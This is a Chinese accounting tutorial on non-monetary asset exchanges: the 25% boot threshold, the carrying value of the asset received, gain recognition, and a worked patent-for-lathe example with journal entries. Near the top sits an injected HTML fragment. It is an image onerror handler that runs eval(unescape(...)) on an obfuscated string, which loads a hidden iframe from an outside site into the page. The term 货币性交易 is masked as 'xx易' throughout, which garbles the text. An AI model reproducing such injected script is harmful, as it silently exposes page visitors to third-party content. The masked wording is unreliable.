资产重组业务之非货币xx易的会计处理

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

企业发生的各种非货币xx易，根据是否涉及补价分别情况处理。
　　(一)不涉及补价情况下的会计处理
　　在不涉及补价情况下，主要解决换入资产的入账价值问题，即换入资产应当如何计量。按照企业会计制度规定，在不涉及补价的情况下，企业换入的资产一般按换出资产的账面价值加上应支付的相关税费，作为换入资产的实际成本。
　　(二)涉及补价情况下的会计处理
　　涉及补价的非货币xx易，主要解决三个问题：
　　1．如何判断交易是否属于非货币xx易
　　非货币xx易中有时也会涉及部分货币性资产，既有非货币性资产的交换，又涉及部分货币性资产，在实务中如何判断该项交易属于货币性还是非货币性。会计制度给出了基本的判断标准，即在进行非货币xx易时，涉及少量货币性资产的，可认为属于非货币xx易，而涉及少量的货币性资产通常是看补价占整个交易金额的比例。为便于判断，会计制度给出了补价占整个交易金额的25％的参考比例，即，收到补价的企业，其收到的补价占换出资产公允价值的比例小于或等于25％的，或支付补价的企业，其支付的补价占换出资产公允价值加上支付的补价之和的比例小于或等于25％的，则视为非货币xx易。应根据非货币xx易的核算原则进行会计处理；如果这一比例高于25％，则视为货币xx易，应根据通常发生的货币xx易的核算原则进行会计处理。确定小于或等于25％的比例的计算公式如下：
　　收到补价的企业=收到的补价÷换出资产公允价值≤25％
　　支付补价的企业=支付的补价÷(支付的补价+换出资产公允价值)≤25％
　　2．如何确定换入资产的入账价值
　　在非货币xx易中，在不涉及补价的情况下，通常按照换出资产的账面价值加上应支付的相关税费，作为换入资产的入账价值。在涉及补价的情况下，换入资产的入账价值应分别确定：
　　支付补价的企业，按换出资产账面价值加上支付的补价和应支付的相关税费，作为换入资产的入账价值。其计算公式为：
　　换入资产入账价值=换出资产账面价值+支付的补价+应支付的相关税费
　　收到补价的企业，按换出资产账面价值减去补价，加上应确认的收益和应支付的相关税费，作为换入资产的入账价值。其计算公式为：
　　换入资产入账价值=换出资产账面价值-补价+(或-)确认的收益(或损失)+应支付的相关税费
　　3．损益的确认和计量
　　无论何种非货币性资产交换，在不涉及补价的情况下，不确认损益，换入资产的入账价值一般按照换出资产的账面价值确定；在涉及补价的情况下，从收到补价的一方看，由于在资产交换过程中部分资产价值的盈利过程已经完成，因此，要确认已实现部分的利润或损失。在确定实现部分的利润或损失时，按照换出资产账面价值中相当于补价占换出资产公允价值的比例来确定，确认的收益计入当期营业外收入(非货币xx易收益)；确认的损失计入当期营业外支出(非货币xx易损失)。其计算公式如下：
　　应确认的收益=补价-(补价÷换出资产公允价值)×换出资产账面价值-(补价÷换出资产公允价值×应交的税金及教育费附加)=(1-换出资产账面价值÷换出资产公允价值)×补价-(补价÷换出资产公允价值×应交的税金及教育费附加)
　　如果按照上述公式计算出的金额为负数，应确认为当期损失，计入营业外支出。
　　［例5-7］甲公司与乙公司经协商，甲公司以其拥有的专利权与乙公司生产用车床交换。甲公司专利权的账面价值为400万元(未计提减值准备)，公允价值和计税价格均为450万元，营业税税率为5％；乙公司生产用车床的账面原价为500万元，已提折旧为50万元，已提减值准备为30万元，公允价值为 420万元，在资产交换过程中发生车床搬运费1．2万元。乙公司另支付30万元给甲公司。甲公司收到换入的车床作为固定资产核算；乙公司获得的专利权作为无形资产核算。
　　［分析］
　　(1)甲公司以拥有的专利权与乙公司生产用车床交换，在这项交易中涉及少量的货币性资产，即涉及补价30万元。首先判断是否属于非货币xx易：
　　甲公司收到补价：收到的补价30万元÷换出资产公允价值450万元=6．67％<25％
　　乙公司支付补价：支付的补价30万元÷(支付的补价30万元+换出资产公允价值420万元)=6．67％<25％
　　通过上述计算可见，补价占整个交易比例小于25％，属于非货币xx易。
　　(2)由于在该项非货币性资产交换中涉及部分补价，对收到补价的甲公司而言，应确认部分损益：
　　应确认的收益=(1-换出资产账面价值400÷换出资产公允价值450)×补价30-(补价30÷换出资产公允价值450×应交的税金及教育费附加(450× 5﹪))=1．83(万元)
　　(3)在此项涉及补价的非货币xx易中，甲公司和乙公司各自换入资产的入账价值为：
　　甲公司换入车床的入账价值=400+1．83+450× 5％-30=394．33(万元)
　　乙公司换入专利权的入账价值=(500-50-30)+30+1．2=451．2(万元)
　　经过上述分析，甲公司和乙公司各自的会计分录如下：
　　甲公司的会计分录：
　　借：固定资产——车床　　3 943 300
　　银行存款　　300 000
　　贷：无形资产4 000 000
　　应交税金——应交营业税　　225 000
　　营业外收入——非货币xx易收益　　18 300
　　乙公司的会计分录：
　　借：固定资产清理4 500 000
　　累计折旧　　500 000
　　贷：固定资产　　5 000 000
　　借：固定资产减值准备　　300 000
　　贷：固定资产清理　　300 000
　　借：固定资产清理　　312 000
　　贷：银行存款　　312 000
　　借：无形资产4 512 000
　　贷：固定资产清理4 512 000